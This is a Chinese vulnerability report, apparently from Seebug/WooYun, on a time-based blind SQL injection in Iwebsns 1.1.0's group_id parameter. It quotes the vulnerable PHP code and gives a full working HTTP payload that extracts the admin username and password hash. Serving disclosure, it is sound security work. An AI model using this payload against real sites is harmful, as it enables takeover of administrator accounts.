Iwebsns最新版SQL注入第六枚

2014-12-12T00:00:00
ID SSV:95956
Type seebug
Reporter Root
Modified 2014-12-12T00:00:00

Description

简要描述:

Iwebsns最新版SQL注入第六枚

详细说明:

在wooyun上看到雨牛提了5个iwebsns的漏洞了( WooYun: Iwebsns sql 第五枚。 ),我来捡捡漏儿吧,已对比,不重复,下载Iwebsns最新的1.1.0来看看。 为了使审核的大大们容易确认是否有重复,我先把存在漏洞的文件和注入参数分别写在这里:/action/group/group_info_change.action.php group_id 下面看看漏洞是怎么产生的 /action/group/group_info_change.action.php

无关代码 //变量区 $user_id=get_sess_userid(); $group_id=short_check(get_argg('group_id')); //定义读操作 dbtarget('r',$dbServs); $dbo=new dbex; //引入公共函数 require("foundation/module_group.php"); //数据表定义 $t_groups=$tablePreStr."groups"; $t_group_members=$tablePreStr."group_members"; //权限判断 $role=pri_limit($dbo,$user_id,$group_id); if($role==2){ action_return(0,$g_langpackage->g_no_privilege,"-1"); } //定义写操作 dbtarget('w',$dbServs); $group_name=short_check(get_argp('group_name')); $group_resume=short_check(get_argp('group_resume')); $group_join_type=intval(get_argp('group_join_type')); $group_type_id=intval(get_argp('group_type_id')); $group_type_name=short_check(get_argp('group_type_name')); $tag=short_check(get_argp('tag')); $gonggao=short_check(get_argp('affiche')); $is_pic=""; if(isset($_FILES['attach']) && $_FILES['attach']['name'][0]!=''){ $up = new upload(); $up->set_dir('uploadfiles/group_logo/','{y}/{m}/{d}');//目录设置 $fs = $up->execute(); if($fs[0]['flag']==-1){ action_return(0,$g_langpackage->g_logo_limit,"-1"); } $fileSrcStr=str_replace(dirname(__FILE__),"",$fs[0]['dir']).$fs[0]['name']; @unlink(get_argp('old_group_logo')); $is_pic=",group_logo='$fileSrcStr'"; } $sql="update $t_groups set group_name='$group_name',affiche ='$gonggao',tag = '$tag',group_resume = '$group_resume',group_join_type = $group_join_type,group_type = '$group_type_name',group_type_id=$group_type_id $is_pic where group_id=$group_id"; $dbo->exeUpdate($sql); 无关代码

group_id经过short_check,来看看short_check,/foundation/freq_filter.php

function short_check($str) { $MaxSlen=500;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = LenLimit($str,$MaxSlen); $str = str_replace(array("\'","\\","#"),"",$str); if($str!=''){ $str= htmlspecialchars($str); } return preg_replace("/ +/","",trim($str)); }

先进行addslashes,再htmlspecialchars,但是这里是数字,上面编码无任何作用。 Iwebsns没有错误回显,这里用time-based blind进行注入测试。 Paload:

GET /do.php?act=group_info_change&group_id=-1/**/or/**/(select/**/if(ord(mid((select/**/admin_name/**/from/**/isns_admin/**/ where/**/admin_id=1/**/limit/**/0,1),1,1))=0x7a,sleep(1),0)) HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=user_info&is_finish=1 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=pigtest@163.com; PHPSESSID=5j1qplgaimc7dgcqt3n109qgj1; IsReged=Y Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0

猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

<img src="https://images.seebug.org/upload/201412/102348278aa19b50df3263615c9767cc0c6c1755.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">

若正确,延迟4s左右,如下图

<img src="https://images.seebug.org/upload/201412/10234839b8434f03617898230037600913da589d.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">

按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3

漏洞证明:

见 详细说明